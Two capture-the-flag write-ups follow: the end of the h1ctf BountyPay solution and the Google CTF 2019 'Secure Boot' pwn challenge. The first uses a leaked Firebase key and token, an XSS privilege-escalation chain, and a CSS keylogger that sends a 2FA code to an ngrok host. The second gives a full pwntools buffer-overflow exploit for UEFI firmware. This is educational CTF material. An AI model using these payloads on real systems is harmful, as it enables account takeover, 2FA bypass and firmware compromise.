
    <string name="firebase_database_url">https://bountypay-90f64.firebaseio.com</string>
    <string name="gcm_defaultSenderId">467982724703</string>
    <string name="google_api_key">AIzaSyAyr601_-ElsasDnhGORBykg0ZTDaOxFeo</string>
    <string name="google_app_id">1:467982724703:android:4428e053082d32ce84b5ea</string>
    <string name="google_crash_reporting_api_key">AIzaSyAyr601_-ElsasDnhGORBykg0ZTDaOxFeo</string>
    <string name="google_storage_bucket">bountypay-90f64.appspot.com</string>

I created a quick html snippet to allow me to interact with firebase via the DevTools in Chrome:

<!DOCTYPE html>
<html>
  <head>
    <script src="https://www.gstatic.com/firebasejs/7.14.6/firebase-app.js"></script>
    <script src="https://www.gstatic.com/firebasejs/7.14.6/firebase-auth.js"></script>
    <script src="https://www.gstatic.com/firebasejs/7.14.6/firebase-database.js"></script>
    <script>
      firebase.initializeApp({
        apiKey: "AIzaSyAyr601_-ElsasDnhGORBykg0ZTDaOxFeo",
        databaseURL: "https://bountypay-90f64.firebaseio.com",
        storageBucket: "bountypay-90f64.appspot.com",
      });

      firebase.auth().signInAnonymously();
    </script>
  </head>
</html>

After playing around and relearning how to read data in firebase I was ready to try out the refs discovered above:

> firebase.database().ref('host').on('value', (snapshot) => console.log(snapshot.val()))
"http://api.bountypay.h1ctf.com"

> firebase.database().ref('X-Token').on('value', (snapshot) => console.log(snapshot.val()))
"8e9998ee3137ca9ade8f372739f062c1"

That looked exactly like what we were after! A quick curl of the api shows that it was a valid token, and it also allowed us to hit the staff endpoint:

$ curl -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK
{"account_id":"F8gHiqSdpK","owner":"Mr Brian Oliver","company":"BountyPay Demo "}

$ curl -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" https://api.bountypay.h1ctf.com/api/staff
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]

The staff ids looked to be the same format as the one from photo that Sandra tweeted, but she was not in the list of staff for some reason. I then tried to see if we could POST to the staff endpoint, that returned ["Missing Parameter"] which was promising. The name parameter didn’t make a difference but staff_id resulted in ["Invalid Staff ID"]. Using the staff_id we discovered before

$ curl -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" https://api.bountypay.h1ctf.com/api/staff -XPOST -F staff_id='STF:8FJ3KFISL3'
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}

Using these credentials we were able to log in and gain access to the staff portal!

Clicking around there were a few things to take note of:

There was an open ticket for us at https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=3582
We could change our profile name and avatar
There was a Report This Page link at the bottom of every page

Looking at the source also showed why the report api wasn’t working before, as the url parameter being reported was in the form var url = 'Lz90ZW1wbGF0ZT1ob21l';. Decoding this resulted in /?template=home, so the url parameter needed to be base64 encoded and relative to be accepted by the endpoint. The report modal also had a bit of text mentioning that pages in /admin would be ignored:

So it seemed to be an XSS challenge, we needed to report a URL that would somehow call the upgrade api with our username making us an admin.

We could change our profile name and avatar, but with a bit of testing it looked like every character that didn’t match [a-zA-Z0-9 ] was stripped out which stopped most simple injections. Interestingly whatever we specify for profile_avatar was being set as the class name for the avatar div, which appeared on the profile tab and the open support ticket.

Looking at the website.js we previously discovered, it had the following snippet: "#tab1" === document.location.hash && $(".tab1").trigger("click"). Since we could add classes, this code would allow us to trigger a click on it if we added tab1. It also contained the following:

$(".upgradeToAdmin").click(function () {
  let t = $('input[name="username"]').val();
  $.get("/admin/upgrade?username=" + t, function () {
    alert("User Upgraded to Admin");
  });
});

So when anything with the class upgradeToAdmin was clicked it would fire off a request. I changed the value of profile_avatar from avatar3 to tab1 upgradeToAdmin and submitted the form, then went to https://staff.bountypay.h1ctf.com/?template=home#tab1. This fired off a request to https://staff.bountypay.h1ctf.com/admin/upgrade?username=undefined, getting closer! The same technique also worked from the ticket template.

I tried a few way to change my username to undefined or to create a new user but was unable to. I remembered that the username field in the login form could be filled in, but the website.js was not included and also our avatar was not shown to trigger the click.

It took quite a bit of time and dead ends (such as investigating the cookie format, submitting urls to ?template=admin, and various other parameter combinations) but eventually realized that I already had all the required bits of information, I just hadn’t put them together.

I needed to have page that had both my avatar, and the username input field on it. Earlier I had discovered that https://staff.bountypay.h1ctf.com/?template[]=login would render correctly, and now visiting this url did not redirect or log us out. What if I added another template parameter?

Bingo! Visiting https://staff.bountypay.h1ctf.com/?template[]=login&template[]=admin showed both the login page and the error message from the admin template! This was just what was required, putting it all together and visiting https://staff.bountypay.h1ctf.com/?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison#tab1 fired off a request to https://staff.bountypay.h1ctf.com/admin/upgrade?username=sandra.allison

I converted the relative path to base64 and sent in the report https://staff.bountypay.h1ctf.com/admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uI3RhYjE=, after a few moments I hit https://staff.bountypay.h1ctf.com/?template=admin and it returned view admin, looks like it worked!

Back to the portal page and there was a new admin tab, clicking revealed a list of users including the password for marten.mickos:

Using these credentials we are able to log into https://app.bountypay.h1ctf.com/ (using the same 2fa bypass as before) and this time loading the transactions for 05/2020 returned a row!

Hitting Pay takes us to https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba displaying another 2FA challenge, of course it wasn’t going to be that easy.

Hitting the Send Challenge button submits the form with an interesting parameter: app_style=https://www.bountypay.h1ctf.com/css/uni_2fa_style.css. The next form has a challenge_timeout, a challenge (which looked like another hash), and the challenge_answer we need to fill out. Changing the challenge hash and using 12345 did not work this time (to be expected).

So it looked like we could supply our own stylesheet, I tested this by starting a simple python server with python3 -m http.server and running ngrok with ngrok http 8000 to make it externally accessible. I then created a file with body { background: url("/a") } and set the app_style parameter to https://4f8819ffea70.ngrok.io/style1.css. Submitting this and looking at the ngrok logs showed that the style was fetched and then the background image too!

GET /a                         404 File not found
GET /style1.css                200 OK

I’ve read a few articles as well as the video by LiveOverflow on CSS Keyloggers, so I had a pretty good idea of what was needed. The first thing was to try and determine how the 2FA code was displayed on the page. Using input {background: url("/a");} confirmed that there was an input on the page, and input:nth-of-type(2) {background: url("/2");} confirmed there was a second. I then created and sent the follow styles to determine how many there were:

input:nth-of-type(1) { background: url("/1") }
input:nth-of-type(2) { background: url("/2") }
input:nth-of-type(3) { background: url("/3") }
input:nth-of-type(4) { background: url("/4") }
input:nth-of-type(5) { background: url("/5") }
input:nth-of-type(6) { background: url("/6") }
input:nth-of-type(7) { background: url("/7") }
input:nth-of-type(8) { background: url("/8") }
input:nth-of-type(9) { background: url("/9") }
input:nth-of-type(10) { background: url("/10") }

The largest request that came back was /7, telling us that there were 7 input fields, presumably each one contained a letter of the code! We can use this knowledge to generate a big stylesheet containing rules for each of the sever input fields in the format of input:nth-of-type(1)[value="a"] {background-image: url("/image-char1-a.png")}, one for each character that the code could be. I wrote some python code to generate the stylesheet:

def generate_styles():
    styles = ""
    for i in range(1, 8):
        for c in string.ascii_letters + string.digits:
            styles += 'input:nth-of-type({0})[value="{1}"] {{background-image: url("/char*{0}*{1}*.png")}}\n'.format(
                i, c)
    return styles

This produced a rule for each of the combinations:

input:nth-of-type(1)[value="a"] {background-image: url("/char*1*a*.png")}
input:nth-of-type(1)[value="b"] {background-image: url("/char*1*b*.png")}
input:nth-of-type(1)[value="c"] {background-image: url("/char*1*c*.png")}
input:nth-of-type(1)[value="d"] {background-image: url("/char*1*d*.png")}
// <SNIP>
input:nth-of-type(7)[value="6"] {background-image: url("/char*7*6*.png")}
input:nth-of-type(7)[value="7"] {background-image: url("/char*7*7*.png")}
input:nth-of-type(7)[value="8"] {background-image: url("/char*7*8*.png")}
input:nth-of-type(7)[value="9"] {background-image: url("/char*7*9*.png")}

I then sent through the generated stylesheet and watched the requests come in:

GET /char*6*a*.png             404 File not found
GET /char*5*4*.png             404 File not found
GET /char*3*u*.png             404 File not found
GET /char*4*N*.png             404 File not found
GET /char*2*a*.png             404 File not found
GET /char*7*v*.png             404 File not found
GET /char*1*M*.png             404 File not found
GET /style2.css                200 OK

Rearranging the characters gave the code MauN4av, beating the final 2FA and finishing the CTF!

^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$

Secure Boot - Google CTF 2019 Quals

2019-06-25T06:51:43+00:00

Your task is very simple: just boot this machine. We tried before but we always get ‘Security Violation’. For extra fancyness use ‘socat -,raw,echo=0 tcp:$IP:$PORT’.

nc secureboot.ctfcompetition.com 1337

Download Attachment

271 Pts, 26 solves, pwn

The challenge archive contains the following files which looks fairly typical for a qemu challenge.

OVMF.fd
run.py
contents/
     boot.nsh
     bzImage
     rootfs.cpio.gz
     startup.nsh

The exception to this is the OVMF.fd file, which according to binwalk is a UEFI PI Firmware Volume.

$ binwalk ./OVMF.fd

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             UEFI PI Firmware Volume, volume size: 540672, header size: 0, revision: 0, Variable Storage, GUID: FFF12B8D-7696-4C8B-85A9-2747075B4F50

After looking at run.py and a bit of googling, I came across tianocore which states OVMF is an EDK II based project to enable UEFI support for Virtual Machines. OVMF contains sample UEFI firmware for QEMU and KVM. which seem to be what we were looking at.

Running run.py launches qemu and starts to load a UEFI Interactive Shell but fails and exits straight away, just like the challenge description suggests.

UEFI Interactive Shell v2.2
EDK II
UEFI v2.70 (EDK II, 0x00010000)
Mapping table
      FS0: Alias(s):HD1a1:;BLK3:
          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)/HD(1,MBR,0xBE1AFDFA,0x3F,0xFBFC1)
     BLK0: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x0)
     BLK1: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x1)
     BLK2: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
     BLK4: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)

If Secure Boot is enabled it will verify kernel's integrity and
return 'Security Violation' in case of inconsistency.
Booting...
Script Error Status: Security Violation (line number 5)

After trying a few key combinations I found that if you presses F12 on startup then instead of getting the UEFI shell a different app would be run, this looked much more promising!

BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
BdsDxe: starting Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
****************************
*                          *
*   Welcome to the BIOS!   *
*                          *
****************************

Password?

The next thing do to was to try and find this app within the firmware image. During the ctf I used binwalk to extact the LZMA compressed data, then running it once more on the decompressed image showed that it was filled with executable files.

         0x1C0           Microsoft executable, portable (PE)
       0x61CC          Unix path: /home/google-ctf/edk2/Build/OvmfX64/RELEASE_GCC5/X64/MdeModulePkg/Core/Pei/PeiMain/DEBUG/PeiCore.dll
       0x64C0          Microsoft executable, portable (PE)
       0x805C          Unix path: /home/google-ctf/edk2/Build/OvmfX64/RELEASE_GCC5/X64/MdeModulePkg/Universal/PCD/Pei/Pcd/DEBUG/PcdPeim.dll
       0x8240          Microsoft executable, portable (PE)

I manually searched the decompresed image for Password? but found no results, but searching for P\x00a\x00s\x00s\x00w\x00o\x00r\x00d\x00?\x00 had a hit.

0020f808: 2000 2000 2000 2000 2000 2000 2000 2000 2000 2000 2000 2000   . . . . . . . . . . . .
0020f820: 2000 2000 2000 2000 2000 2a00 0a00 0000 0000 0000 2a00 2000   . . . . .*.........*. .
0020f838: 2000 2000 5700 6500 6c00 6300 6f00 6d00 6500 2000 7400 6f00   . .W.e.l.c.o.m.e. .t.o.
0020f850: 2000 7400 6800 6500 2000 4200 4900 4f00 5300 2100 2000 2000   .t.h.e. .B.I.O.S.!. . .
0020f868: 2000 2a00 0a00 0000 0000 0000 2a00 2a00 2a00 2a00 2a00 2a00   .*.........*.*.*.*.*.*.
0020f880: 2a00 2a00 2a00 2a00 2a00 2a00 2a00 2a00 2a00 2a00 2a00 2a00  *.*.*.*.*.*.*.*.*.*.*.*.
0020f898: 2a00 2a00 2a00 2a00 2a00 2a00 2a00 2a00 2a00 2a00 0a00 0a00  *.*.*.*.*.*.*.*.*.*.....
0020f8b0: 0000 0000 5000 6100 7300 7300 7700 6f00 7200 6400 3f00 0a00  ....P.a.s.s.w.o.r.d.?...
0020f8c8: 0000 2a00 0000 5700 7200 6f00 6e00 6700 2100 2100 0a00 0000  ..*...W.r.o.n.g.!.!.....
0020f8e0: 2500 7300 4f00 7200 6400 6500 7200 0000 68ce ffff 8cce ffff  %.s.O.r.d.e.r...h.......
0020f8f8: 8cce ffff 76ce ffff 8cce ffff 36ce ffff 44ce ffff 5ace ffff  ....v.......6...D...Z...

Grabbing the executable that contained the string (from one MZ header to the next) we now had an executable that could be analysed. Afterwards the ctf was over I can across a tool called uefi-firmware-parser which is much easier and can just list and extact the files directly!

uefi-firmware-parser -ecO ./OVMF.fd
...
File 38: 462caa21-7614-4503-836e-8ab6f4662331 type 0x09, attr 0x00, state 0x07, size 0x1beae (114350 bytes), (application)
              Section 0: type 0x10, size 0x1be44 (114244 bytes) (PE32 image section)
              Section 1: type 0x19, size 0x34 (52 bytes) (Raw section)
              Section 2: type 0x15, size 0x10 (16 bytes) (User interface name section)
              Name: UiApp
              Section 3: type 0x14, size 0xe (14 bytes) (Version section section)
...
Wrote: ./OVMF.fd_output/volume-0/file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792/section0/section3/volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf/file-462caa21-7614-4503-836e-8ab6f4662331/section0.pe

The function that checks the password is fairly small, it reads up to 139 characters, sends them to another function, and compares the result to 0xdeadbeefs. The function that does the calculation has a few constants such as 0xBB67AE856A09E667 and a quick google shows that it is used in sha256, which can be confirmed by checking in gdb using a known string.

int main() {
  struct chars c;
  char buf[128];
  uint64_t res;
  char *dest;
  uint64_t size;
  unsigned short i;
  unsigned uint64_t tries;

  tries = 0;
  size = 32;
  puts("****************************\n");
  puts("*                          *\n");
  puts("*   Welcome to the BIOS!   *\n");
  puts("*                          *\n");
  puts("****************************\n\n");
  dest = alloc();
  while (tries <= 2) {
    i = 0;
    puts("Password?\n");
    while (1) {
      while (1) {
        f res = (*(*(qword_67E6C68 + 48) + 8))(*(qword_67E6C68 + 48), &c);
        if (res >= 0) {
          if (c.char) break;
        }
        if (res == 0x8000000000000006)
          (*(qword_67E6C78 + 96))(1, *(qword_67E6C68 + 48) + 16, &c.res);
      }
      if (c.char == '\r') break;
      if (i <= 139u) buf[++i] = c.char;
      puts("*");
    }
    buf[i] = 0;
    puts("\n");
    sha256(buf, i, dest);
    if (*dest == 0xDEADBEEFDEADBEEF && *(dest + 8) == 0xDEADBEEFDEADBEEF &&
        *(dest + 16) == 0xDEADBEEFDEADBEEF &&
        *(dest + 24) == 0xDEADBEEFDEADBEEF) {
      doSomething(dest);
      return 1;
    }
    puts("W");
    ++tries;
  }
  doSomething(dest);
  return 0;
}

Since we probably wont find password that hashes to 0xDEADBEEFDEADBEEF’s another way is needed. The function reads the 139 characters into a buffer of 128, so we have an easy overflow! We can use the overflow to change dest to somewhere else which will cause the hash to be written to an address that we choose. A bit more playing around in gdb and trying to overwrite different places shows that all the addresses are fixed (the password function is at 0x67DAE50) and the mapping is also rwx!

So the plan is to try and find a 32 byte section of code that we can overwrite with a hash that contains a jmp as the first few bytes, which when hit will take us to the successful code path. 0x67DB07B ended up being a good candidate as it is hit immediatly after an incorrect password attempt and there is enough space that it doesnt break the successful path. We just need to replace 0x67DB07B with a jump to 0x67DB06F and we should be in!

0x67DB06F                 call    doSomething
0x67DB074                 mov     eax, 1
0x67DB079                 jmp     short done

0x67DB07B                 lea     rcx, strWrong
0x67DB082                 call    puts
0x67DB087                 add     [rsp+0E8h+tries], 1

0x67DB090 loop:
0x67DB090                 cmp     [rsp+0E8h+tries], 2
0x67DB099                 jbe     start
0x67DB09F                 mov     rax, [rsp+0E8h+dest]
0x67DB0A7                 mov     rdi, rax
0x67DB0AA                 call    doSomething
0x67DB0AF                 mov     eax, 0

0x67DB0B4 done:
0x67DB0B4                 add     rsp, 0E8h
0x67DB0BB                 retn

Initally the hashes I was generating did not match the ones from the sha256 function, but looking at the paramaters being passed in showed that bytes 128-136 of the password were being replaced with null due to buf[i] = 0;. Fixing that I was able to generate matching hashes and wrote a quick function to find a sha:

target = 0x67DB07B

def find_sha(check):
    for i in xrange(100000000):
        payload = str(i)
        payload = payload.ljust(128, "a")
        payload += p64(0)
        payload += p32(target)
        if sha256sum(payload)[0:len(check)] == check:
            payload = str(i)
            payload = payload.ljust(136, "a")
            payload += p32(target)
            return payload

payload = find_sha(asm("jmp $-0x17"))

The other gotcha was how to send an F12 via python and pwntools. I ended up just launching wireshark and copied that bytes that were sent when I manually typed it through socat -,raw,echo=0 tcp:secureboot.ctfcompetition.com:1337 and found out that it was p.send("\x1b\x5b\x32\x34\x7e")! Combining this all together allows us to skip the password check and takes us to the next stage, but pwntools was not happy displaying the texted based UI. Using the hint fron the challenge description worked a treat!

$ socat -,raw,echo=0 SYSTEM:"python ./solv.py"

 Standard PC (i440FX + PIIX, 1996)
 pc-i440fx-bionic                                    2.00 GHz
 0.0.0                                               128 MB RAM

   Select Language            <Standard English>         This is the option
                                                         one adjusts to change
 > Device Manager                                        the language for the
 > Boot Manager                                          current system
 > Boot Maintenance Manager

   Continue
   Reset

  ^v=Move Highlight       <Enter>=Select Entry

From this menu you can select Device Manager -> Secure Boot Configuration, disable Attempt Secure Boot, the save and continue.

                ���������������������������������������������Ŀ
                �Configuration changed. Reset to apply it Now.�
                �            Press ENTER to reset             �
                �����������������������������������������������

This skips the secure boot and starts linux, dropping us into a shell where we can cat the flag! CTF{pl4y1ng_with_v1rt_3F1_just_4fun}

Full exploit script

#!/usr/bin/env python2
import logging
from pwn import *

"""
Run with:
socat -,raw,echo=0 SYSTEM:"python ./solv.py"
"""

target = 0x67DB07B

def find_sha(check):
    for i in xrange(100000000):
        payload = str(i)
        payload = payload.ljust(128, "a")
        payload += "\x00" * 8
        payload += p32(target)
        if sha256sum(payload)[0:len(check)] == check:
            payload = str(i)
            payload = payload.ljust(136, "a")
            payload += p32(target)
            return payload

def exploit():
    p.sendafter("2J", "\x1b\x5b\x32\x34\x7e"*10)
    payload = find_sha(asm("jmp $-0x17"))
    payload += "\r"

    p.sendafter("Password?", payload)
    p.interactive()

    # CTF{pl4y1ng_with_v1rt_3F1_just_4fun}

if __name__ == "__main__":
    context.terminal = ["tmux", "sp", "-h"]
    context.arch = "amd64"

    if len(sys.argv) > 1:
        p = remote("secureboot.ctfcompetition.com", 1337)
    else:
        fname = "/tmp/lala"
        os.system("cp OVMF.fd %s" % (fname))
        os.system("chmod u+w %s" % (fname))

        p = process(["qemu-system-x86_64", "-s", "-m", "128M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",
                     "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})

    exploit()